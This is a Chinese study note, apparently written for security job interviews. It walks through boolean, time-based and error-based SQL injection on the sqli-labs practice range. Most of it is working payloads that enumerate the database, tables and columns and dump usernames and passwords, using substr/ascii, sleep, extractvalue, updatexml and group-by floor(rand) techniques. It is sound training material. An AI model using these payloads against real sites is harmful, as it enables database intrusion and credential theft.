目录
一、前言
面试题目基本必问的盲注函数及应用,因为老是记不住,于是写下这篇随笔。
这里的例题引用的是sqli-lab靶场为实例,需要的同学自行搜索下载靶场练习
二、盲注类型
盲注顾名思义,在注入无回显的情况下,我们使用盲注
一般分三大类:布尔盲注、时间盲注和报错注入
1.布尔盲注
布尔盲注的主要三个函数:length(),ascii(),substr()。首先通过length()函数确定长度,再通过另外两个确定具体字符是什么。用sqli-lab靶场第5关为示例:
?id=1%27%20and%20length((select%20database()))=8--+,这里的等于号可以换成>或者<,用来判断此数据库dabatabse的字符长度,例如这里是security,一共有8个字符,这里等于8没有报错,>9或<7页面会报错。
substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因此我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii码,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and ascii(substr((select database()),1,1))=115--+,思路跟前面的一样
#判断所有表名字符长度
?id=1%27and%20length((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()))=29--+
#逐一判断表名
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.table where table_schema=database()),1,1))>99--+
#判断所有字段名长度
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
#逐一判断字段名
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
#判断字段内容长度
?id=1' and length((select group_concat(username,password) from users))>109--+
#最后逐一检测内容
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
2.时间盲注
以sqli-lab靶场第9关为例:
发现当我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间盲注和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
#判断参数构造
?id=1' and if(1=1,sleep(5),1)--+ ,延迟了5秒界面相应。
#判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+ ,因为我们知道有一个security的数据库名,所以这里是8
#逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
表示第一个单词的ascii码为115,即s
?id=1'and if(ascii(substr((select database()),2,1))=101,sleep(5),1)--+
表示第二个单词的ascii码为101,即e
......以此类推推出名字security
#判断所有表名长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
#逐一判断表名
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
#判断所有字段名的长度
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
#逐一判断字段名
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
#判断字段内容长度
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
#逐一检测内容
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
3.报错注入
这里介绍的报错注入可以选择extractvalue()报错注入,updatexml()报错注入和group by()报错注入。以sqli-lab靶场第17关为例:(这里是已知正确用户账号,需要我们进行密码修改的界面)
根据页面展示是一个密码重置页面,也就是说我们已经登录系统了,然后查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们会用到报错注入。
1)extractvalue()函数
extractvalue(XML_document,XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错,下面的语法就是错误的。concat和我前面说的的group_concat作用一样
爆版本:
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#
这里的0x5c是\,有绕过的意思
爆数据库:
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#
爆表名:
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#
爆字段名:
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#
爆字段内容:
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#
最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。
2)updataxml()函数
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多。
爆数据库:
1' and (updatexml(1,concat(0x5c,database(),0x5c),1))#
爆表名:
1' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#爆字段名:users表
1' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#
users表字段内容爆不了,这里爆emails表字段:
1' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
可以爆出emails表字段内容:
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#
3)group by报错注入
有难度,不过一般不会问到,这里就简单给出题解代码。进一步了解的话可以参考以下文章:https://blog.csdn.net/qq_51524329/article/details/126371091
1' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))# 爆数据库
1' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))# 爆数据库版本
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))# 通过修改limit后面数字一个一个爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))# 爆出所有表
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))# 爆出所有字段名
1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))# 爆出所有字段内容
1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)# 爆出该账户的密码。
三、结语
了解sql注入还需要多打靶场勤加练习,推荐sqli-labs靶场题解文章:https://blog.csdn.net/dreamthe/article/details/123795302
如有不足的地方欢迎大佬指正